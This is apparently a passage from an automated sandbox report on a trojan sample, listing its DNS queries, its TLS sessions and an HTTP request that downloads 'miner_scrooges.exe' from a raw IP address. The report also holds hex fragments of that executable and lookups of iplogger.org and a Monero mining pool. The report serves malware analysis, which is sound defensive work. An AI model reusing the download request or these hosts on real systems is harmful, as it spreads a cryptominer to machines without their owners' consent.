Feb 23, 2021 10:04:53.791137934 CET	49774	80	192.168.2.6	94.103.94.2
Feb 23, 2021 10:05:03.050278902 CET	49773	443	192.168.2.6	172.67.199.58
Feb 23, 2021 10:05:03.050446987 CET	49774	80	192.168.2.6	94.103.94.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 23, 2021 10:02:18.059504032 CET	64267	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:18.127444983 CET	53	64267	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:24.423496008 CET	49448	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:24.565150976 CET	53	49448	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:25.490458965 CET	60342	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:25.542022943 CET	53	60342	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:26.940660000 CET	61346	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:26.989296913 CET	53	61346	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:27.749142885 CET	51774	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:27.798959017 CET	53	51774	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:29.018677950 CET	56023	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:29.067504883 CET	53	56023	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:30.187688112 CET	58384	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:30.239145994 CET	53	58384	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:31.384622097 CET	60261	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:31.435951948 CET	53	60261	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:32.531446934 CET	56061	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:32.580013990 CET	53	56061	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:33.698954105 CET	58336	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:33.750329971 CET	53	58336	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:34.862010002 CET	53781	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:34.910964966 CET	53	53781	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:35.816535950 CET	54064	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:35.865415096 CET	53	54064	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:36.618460894 CET	52811	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:36.667109013 CET	53	52811	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:37.753935099 CET	55299	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:37.806057930 CET	53	55299	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:39.121968031 CET	63745	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:39.170671940 CET	53	63745	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:40.329771996 CET	50055	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:40.381288052 CET	53	50055	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:43.483356953 CET	61374	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:43.534701109 CET	53	61374	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:44.646984100 CET	50339	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:44.698527098 CET	53	50339	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:45.772525072 CET	63307	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:45.821075916 CET	53	63307	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:46.971546888 CET	49694	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:47.023173094 CET	53	49694	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:50.805012941 CET	54982	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:50.854280949 CET	53	54982	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:52.278798103 CET	50010	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:52.327486038 CET	53	50010	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:55.744771957 CET	63718	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:55.803234100 CET	53	63718	8.8.8.8	192.168.2.6
Feb 23, 2021 10:02:58.521306038 CET	62116	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:02:58.569876909 CET	53	62116	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:02.409909964 CET	63816	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:02.580238104 CET	53	63816	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:11.226223946 CET	55014	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:11.285290956 CET	53	55014	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:11.389533043 CET	62208	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:11.440931082 CET	53	62208	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:12.751976967 CET	57574	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:12.803528070 CET	53	57574	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:13.262063026 CET	51818	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:13.310841084 CET	53	51818	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:25.345822096 CET	56628	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:25.406975985 CET	53	56628	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:26.507141113 CET	60778	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:26.555986881 CET	53	60778	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:27.101156950 CET	53799	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:27.160234928 CET	53	53799	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:29.139626026 CET	54683	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:29.199414968 CET	53	54683	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:29.912641048 CET	59329	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:29.969506979 CET	53	59329	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:30.719768047 CET	64021	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:30.768476009 CET	53	64021	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:31.667098999 CET	56129	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:31.715876102 CET	53	56129	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:32.378398895 CET	58177	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:32.440721989 CET	53	58177	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:33.130228043 CET	50700	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:33.156507015 CET	54069	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:33.179126024 CET	53	50700	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:33.231486082 CET	53	54069	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:33.981353045 CET	61178	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:34.030237913 CET	53	61178	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:35.341022015 CET	57017	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:35.392653942 CET	53	57017	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:37.140485048 CET	56327	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:37.197537899 CET	53	56327	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:38.554807901 CET	50243	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:38.614964962 CET	53	50243	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:44.058954954 CET	62055	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:44.126852036 CET	53	62055	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:55.308593988 CET	61249	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:55.367209911 CET	53	61249	8.8.8.8	192.168.2.6
Feb 23, 2021 10:03:55.792581081 CET	65252	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:03:55.849533081 CET	53	65252	8.8.8.8	192.168.2.6
Feb 23, 2021 10:04:04.087052107 CET	64367	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:04.144579887 CET	53	64367	8.8.8.8	192.168.2.6
Feb 23, 2021 10:04:05.905208111 CET	55066	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:05.962379932 CET	53	55066	8.8.8.8	192.168.2.6
Feb 23, 2021 10:04:07.472896099 CET	60211	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:07.521632910 CET	53	60211	8.8.8.8	192.168.2.6
Feb 23, 2021 10:04:09.436032057 CET	56570	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:10.433203936 CET	56570	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:11.435808897 CET	56570	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:11.485845089 CET	53	56570	8.8.8.8	192.168.2.6
Feb 23, 2021 10:04:13.895097971 CET	58454	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:13.945507050 CET	53	58454	8.8.8.8	192.168.2.6
Feb 23, 2021 10:04:14.442621946 CET	55180	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:14.491235018 CET	53	55180	8.8.8.8	192.168.2.6
Feb 23, 2021 10:04:28.955684900 CET	58721	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:29.013973951 CET	53	58721	8.8.8.8	192.168.2.6
Feb 23, 2021 10:04:34.915543079 CET	57691	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:34.975405931 CET	53	57691	8.8.8.8	192.168.2.6
Feb 23, 2021 10:04:45.551011086 CET	52943	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:46.542449951 CET	52943	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:46.591413021 CET	53	52943	8.8.8.8	192.168.2.6
Feb 23, 2021 10:04:47.860049963 CET	59489	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:47.909043074 CET	53	59489	8.8.8.8	192.168.2.6
Feb 23, 2021 10:04:49.216634035 CET	64022	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:49.265408039 CET	53	64022	8.8.8.8	192.168.2.6
Feb 23, 2021 10:04:51.262645006 CET	60023	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:04:51.319708109 CET	53	60023	8.8.8.8	192.168.2.6
Feb 23, 2021 10:05:00.478351116 CET	57193	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:05:00.530077934 CET	53	57193	8.8.8.8	192.168.2.6
Feb 23, 2021 10:05:01.396343946 CET	50248	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:05:01.447868109 CET	53	50248	8.8.8.8	192.168.2.6
Feb 23, 2021 10:05:02.309353113 CET	64413	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:05:02.360965014 CET	53	64413	8.8.8.8	192.168.2.6
Feb 23, 2021 10:05:03.588964939 CET	60429	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:05:03.640496016 CET	53	60429	8.8.8.8	192.168.2.6
Feb 23, 2021 10:05:04.990396976 CET	60345	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:05:05.050628901 CET	53	60345	8.8.8.8	192.168.2.6
Feb 23, 2021 10:05:08.176920891 CET	58730	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:05:08.236329079 CET	53	58730	8.8.8.8	192.168.2.6
Feb 23, 2021 10:06:44.788110018 CET	53830	53	192.168.2.6	8.8.8.8
Feb 23, 2021 10:06:44.841145039 CET	53	53830	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 23, 2021 10:03:02.409909964 CET	192.168.2.6	8.8.8.8	0x905d	Standard query (0)	tttttt.me	A (IP address)	IN (0x0001)
Feb 23, 2021 10:03:27.101156950 CET	192.168.2.6	8.8.8.8	0x57f	Standard query (0)	yearofthepig.top	A (IP address)	IN (0x0001)
Feb 23, 2021 10:04:34.915543079 CET	192.168.2.6	8.8.8.8	0xbc86	Standard query (0)	yearofthepig.top	A (IP address)	IN (0x0001)
Feb 23, 2021 10:04:51.262645006 CET	192.168.2.6	8.8.8.8	0x3cfa	Standard query (0)	yearofthepig.top	A (IP address)	IN (0x0001)
Feb 23, 2021 10:05:04.990396976 CET	192.168.2.6	8.8.8.8	0x3e50	Standard query (0)	iplogger.org	A (IP address)	IN (0x0001)
Feb 23, 2021 10:05:08.176920891 CET	192.168.2.6	8.8.8.8	0x4f23	Standard query (0)	pool.minexmr.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Feb 23, 2021 10:03:02.580238104 CET	8.8.8.8	192.168.2.6	0x905d	No error (0)	tttttt.me	95.216.186.40	A (IP address)	IN (0x0001)
Feb 23, 2021 10:03:27.160234928 CET	8.8.8.8	192.168.2.6	0x57f	No error (0)	yearofthepig.top	104.21.50.15	A (IP address)	IN (0x0001)
Feb 23, 2021 10:03:27.160234928 CET	8.8.8.8	192.168.2.6	0x57f	No error (0)	yearofthepig.top	172.67.199.58	A (IP address)	IN (0x0001)
Feb 23, 2021 10:04:34.975405931 CET	8.8.8.8	192.168.2.6	0xbc86	No error (0)	yearofthepig.top	104.21.50.15	A (IP address)	IN (0x0001)
Feb 23, 2021 10:04:34.975405931 CET	8.8.8.8	192.168.2.6	0xbc86	No error (0)	yearofthepig.top	172.67.199.58	A (IP address)	IN (0x0001)
Feb 23, 2021 10:04:51.319708109 CET	8.8.8.8	192.168.2.6	0x3cfa	No error (0)	yearofthepig.top	172.67.199.58	A (IP address)	IN (0x0001)
Feb 23, 2021 10:04:51.319708109 CET	8.8.8.8	192.168.2.6	0x3cfa	No error (0)	yearofthepig.top	104.21.50.15	A (IP address)	IN (0x0001)
Feb 23, 2021 10:05:05.050628901 CET	8.8.8.8	192.168.2.6	0x3e50	No error (0)	iplogger.org	88.99.66.31	A (IP address)	IN (0x0001)
Feb 23, 2021 10:05:08.236329079 CET	8.8.8.8	192.168.2.6	0x4f23	No error (0)	pool.minexmr.com	51.254.84.37	A (IP address)	IN (0x0001)
Feb 23, 2021 10:05:08.236329079 CET	8.8.8.8	192.168.2.6	0x4f23	No error (0)	pool.minexmr.com	51.68.21.186	A (IP address)	IN (0x0001)
Feb 23, 2021 10:05:08.236329079 CET	8.8.8.8	192.168.2.6	0x4f23	No error (0)	pool.minexmr.com	94.130.165.85	A (IP address)	IN (0x0001)
Feb 23, 2021 10:05:08.236329079 CET	8.8.8.8	192.168.2.6	0x4f23	No error (0)	pool.minexmr.com	51.68.21.188	A (IP address)	IN (0x0001)
Feb 23, 2021 10:05:08.236329079 CET	8.8.8.8	192.168.2.6	0x4f23	No error (0)	pool.minexmr.com	94.130.164.163	A (IP address)	IN (0x0001)
Feb 23, 2021 10:05:08.236329079 CET	8.8.8.8	192.168.2.6	0x4f23	No error (0)	pool.minexmr.com	178.32.120.127	A (IP address)	IN (0x0001)
Feb 23, 2021 10:05:08.236329079 CET	8.8.8.8	192.168.2.6	0x4f23	No error (0)	pool.minexmr.com	94.130.165.87	A (IP address)	IN (0x0001)
Feb 23, 2021 10:05:08.236329079 CET	8.8.8.8	192.168.2.6	0x4f23	No error (0)	pool.minexmr.com	88.99.193.240	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

94.103.94.2

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49774	94.103.94.2	80	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Timestamp	kBytes transferred	Direction	Data
Feb 23, 2021 10:04:52.813858032 CET	10063	OUT	GET /miner_scrooges.exe HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: 94.103.94.2
Feb 23, 2021 10:04:52.865109921 CET	10065	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 23 Feb 2021 09:04:52 GMT Content-Type: application/octet-stream Content-Length: 2815200 Connection: keep-alive Keep-Alive: timeout=60 Last-Modified: Tue, 23 Feb 2021 08:47:08 GMT ETag: "2af4e0-5bbfcf6a9b9cb" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 1e f7 32 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 50 00 00 00 08 00 00 00 00 00 00 58 e0 48 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 73 00 00 04 00 00 74 3a 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a c0 00 00 50 00 00 00 00 e0 00 00 e4 05 00 00 00 00 00 00 00 00 00 00 00 be 2a 00 e0 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 60 00 00 00 20 00 00 00 2a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 20 20 20 20 20 20 20 20 e8 05 00 00 00 80 00 00 00 04 00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 0c 00 00 00 00 a0 00 00 00 02 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 20 00 00 00 c0 00 00 00 02 00 00 00 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 20 00 00 00 e0 00 00 00 06 00 00 00 36 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 68 65 6d 69 64 61 00 e0 47 00 00 00 01 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 82 2a 00 00 e0 48 00 00 82 2a 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 da 61 6e 2a 6b 99 61 cb 68 4d c8 cf 8a 92 d5 23 0d 3e cd c4 72 74 c7 cd 6b 6e 51 b5 5a 7d d5 8f Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL2`PXH @ st:+@:P6 ` ` .@@ 2@B.idata 4@.rsrc 6@@.themidaG<`.bootH<``an*kahM#>rtknQZ}
Feb 23, 2021 10:04:52.865133047 CET	10066	IN	Data Raw: 7b 52 c7 b2 5b 44 73 ce 1a 3f 05 d5 74 11 d0 cd 4c 53 ab c4 0f 21 a5 f4 59 39 ad bf 5d 53 b0 41 7c 21 9a cd 4a e1 67 d0 4f 42 d8 60 99 49 ae e1 82 57 c9 af 26 56 6f cc 83 ac 2d c7 28 54 a4 cb 7b 5a b2 e1 3f 55 fb c6 7b 4a dc 5d 4d 37 c3 bc 5a d6 Data Ascii: {R[Ds?tLS!Y9]SA\|!JgOB`IW&Vo-(T{Z?U{J]M7Z\R?`lXZ)#mY[L_9\lZ>-GpI/C\wIH8=*GDi3H9,MYv,`Oki<\XuN]G5dIXGz'SQrRJOH6
Feb 23, 2021 10:04:52.865149975 CET	10067	IN	Data Raw: ab a9 e2 d0 c1 60 6f 2f 65 d7 83 50 d6 d4 54 f8 64 a6 c0 c5 7a 66 77 4e 6a 9b a6 d7 90 ef 15 93 6e 0b 35 22 b0 d0 17 58 73 9b 18 5d 75 d4 33 32 7b 31 e9 d3 72 08 69 13 6f b1 67 24 b1 c5 9c 07 24 a8 29 0f 73 0d f7 23 2c a3 da e0 43 9f 4e 5c a3 dc Data Ascii: `o/ePTdzfwNjn5"Xs]u32{1riog$$)s#,CN\$KJ\mht9tV{Uf7N["yF)hZSR{46Z,cK<KvU_av8$O!n[~o?%7*bq.Y?&0V\|KkH
Feb 23, 2021 10:04:52.865166903 CET	10069	IN	Data Raw: d6 5a 28 ba 93 de d6 fe 74 33 bc b9 39 41 a9 c4 79 69 c7 fa 79 7e 80 99 dc 1f 6c c5 30 de 64 c3 7e 30 85 a5 89 96 db 11 5e c7 6f 41 5e 75 ca bc 61 dc 84 8b 84 f5 bf af 84 de 79 8b 60 24 8d bb a1 32 70 94 64 90 37 9f 2c 1f e3 c8 2d 6d 13 b9 7c ab Data Ascii: Z(t39Ayiy~l0d~0^oA^uay`$2pd7,-m\|BpUw^q9,JeiNU'rb)roA`k6Q2v+o,H(L9\|>:_dgQ@hwRWUiRN$##SDrK_=ZVo++{R:RD~X
Feb 23, 2021 10:04:52.865184069 CET	10070	IN	Data Raw: 99 26 fa 3f 95 ca 18 22 f0 14 66 35 bf 66 48 b9 8c 27 6c 8a b3 4e 83 b7 d9 f2 8e 37 bf 73 38 a5 ab 66 6c 90 ee b7 77 57 7d 9c 62 7d dd f7 3f ea 8d 53 ec ba c7 1e a4 d3 c1 88 77 b1 10 a6 71 5f d5 8b 76 28 61 8d 85 87 b0 8a 06 d1 93 b5 ce 3a ce 03 Data Ascii: &?"f5fH'lN7s8flwW}b}?Swq_v(a:]c7Se{P5+l*G)k:k\e16wIU#a{[l(z-5nZO$tZ<5^usC7)7P?/BVjeL\?W]rit[6?
Feb 23, 2021 10:04:52.865200996 CET	10071	IN	Data Raw: b6 ff df af 3f df 49 a1 b7 ab f8 a1 93 89 63 3a 82 0b f5 5d 03 37 f7 05 6e 31 a7 60 a2 59 f0 1d 32 23 d0 8f 82 63 d9 44 64 69 a2 ee 26 23 c2 1d 53 65 d0 5b 55 1b a9 94 c1 cd 38 96 e0 5d 5c 4e a3 e9 87 ce 59 27 c9 cf 35 a0 84 15 86 f0 0d 67 74 d7 Data Ascii: ?Ic:]7n1`Y2#cDdi&#Se[U8]\NY'5gtd2+~>tK86~\a%\]M\vmJuo1+H -St34r2q"&ctKrV"w/6u08.%=txuXbvGM+];V{J
Feb 23, 2021 10:04:52.865216970 CET	10072	IN	Data Raw: 18 b4 ca 1c 0d 12 74 51 b3 a6 4b 81 61 b5 c0 29 d7 6f d6 5a 47 2d fa f3 ac e9 15 01 25 d2 29 86 75 71 67 ba 63 02 ca 1d 73 0e 19 fe 90 f8 5f 7d d6 97 5e 06 71 e7 69 42 d0 95 43 70 5c ae 1c 5f 77 9b 45 e1 5a 9e 58 31 90 47 e3 79 46 46 70 26 10 fc Data Ascii: tQKa)oZG-%)uqgcs_}^qiBCp\_wEZX1GyFFp&OT_Lx$gGQ56(7,Z1,s\|(5U-5q>1376
Feb 23, 2021 10:04:52.865310907 CET	10073	IN	Data Raw: a6 77 a2 95 b7 0c 1e 27 10 da 79 fc a2 cf 5b 2d d4 42 7c ad e1 93 e8 75 52 3d 8c a7 dd 37 70 36 82 39 60 66 aa f3 cd 55 59 a4 7d 23 54 17 bd f2 53 1a b0 5d 87 48 23 67 19 a4 07 7e 19 11 8d 6d f4 36 b8 6d ad 92 31 63 dd 0c c7 b9 06 c1 44 93 be a8 Data Ascii: w'y[-B\|uR=7p69`fUY}#TS]H#g~m6m1cDNvYT"PZz:hfB&{)l\|)u~w?`d/88"c{8kb&a'Stm;<.G71/sH&uA}p`Y*Gh?
Feb 23, 2021 10:04:52.865330935 CET	10075	IN	Data Raw: 21 fc 97 da 5a a5 c2 4f 92 0f ff 3c 5e 6c fa cb 21 87 5b ea c0 99 0e ff 67 10 11 16 56 61 b2 55 4d b8 bf 54 4a b5 f4 52 62 a7 14 57 83 69 99 2b 64 7a a7 17 9b 4e d0 68 06 b6 28 48 28 ce 32 5e 9c cc cd e3 25 cf 14 04 64 42 9e 50 d2 b2 a3 2e 3a 86 Data Ascii: !ZO<^l![gVaUMTJRbWi+dzNh(H(2^%dBP.:)vjFUf.g+iQ`FG^5\|Zu/QZdoBO.,^Am#R[#5\io)38ZauF5sJryahT}3\#p\
Feb 23, 2021 10:04:52.865353107 CET	10076	IN	Data Raw: b3 d0 25 47 6b af b5 c7 c8 40 14 70 27 7d 59 de ed b6 09 a2 92 74 55 3e bd f1 79 94 f5 6f 41 c3 4d 72 62 c7 b2 17 54 50 c0 68 5b d5 5c 23 0d af a2 62 95 dc 7f 76 3f e0 ce 2f 53 dd 3b 77 5b 57 bc 6f 0e 41 dd 5c 5a 05 a3 b7 54 cd 96 8e d1 4c f0 74 Data Ascii: %Gk@p'}YtU>yoAMrbTPh[\#bv?/S;w[WoA\ZTLt2:ti(~(S81.m7{5[<RYXwSG@Y5ElvSWJE;7\|AdhYS6MmUiL!sCTMwVS
Feb 23, 2021 10:04:52.915107965 CET	10077	IN	Data Raw: df f5 cc c9 43 15 9a ca 65 05 be 40 d8 f4 39 1a 67 52 48 da 14 c9 f5 e3 d6 fd 02 7b d0 f9 19 e0 f6 24 a8 3e 48 4a 08 22 84 f4 99 af eb 13 f1 c3 81 59 05 b7 e5 e0 f6 07 2f 39 d9 36 e9 74 b2 7f 3a e5 1d a7 c7 4d b9 7b a6 c2 6c ef c1 54 a8 01 9b 5d Data Ascii: Ce@9gRH{$>HJ"Y/96t:M{lT]lrQ/'^h{~g3j&?nvbR8f>i]5>>flxY E6")Q%8*`L'X[ 6

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Feb 23, 2021 10:03:12.864870071 CET	95.216.186.40	443	192.168.2.6	49736	CN=tttttt.me CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Fri Jan 01 09:37:32 CET 2021 Wed Oct 07 21:21:40 CEST 2020	Thu Apr 01 10:37:32 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	ce5f3254611a8c095a3d821d44539877
Feb 23, 2021 10:03:12.864870071 CET	95.216.186.40	443	192.168.2.6	49736	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		ce5f3254611a8c095a3d821d44539877
Feb 23, 2021 10:03:27.260934114 CET	104.21.50.15	443	192.168.2.6	49745	CN=sni.cloudflaressl.com, O="Cloudflare, Inc.", L=San Francisco, ST=California, C=US CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US	CN=Cloudflare Inc ECC CA-3, O="Cloudflare, Inc.", C=US CN=Baltimore CyberTrust Root, OU=CyberTrust, O=Baltimore, C=IE	Thu Feb 11 01:00:00 CET 2021 Mon Jan 27 13:48:08 CET 2020	Fri Feb 11 00:59:59 CET 2022 Wed Jan 01 00:59:59 CET 2025	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-5-10-11-13-35-23-65281,29-23-24,0	ce5f3254611a8c095a3d821d44539877
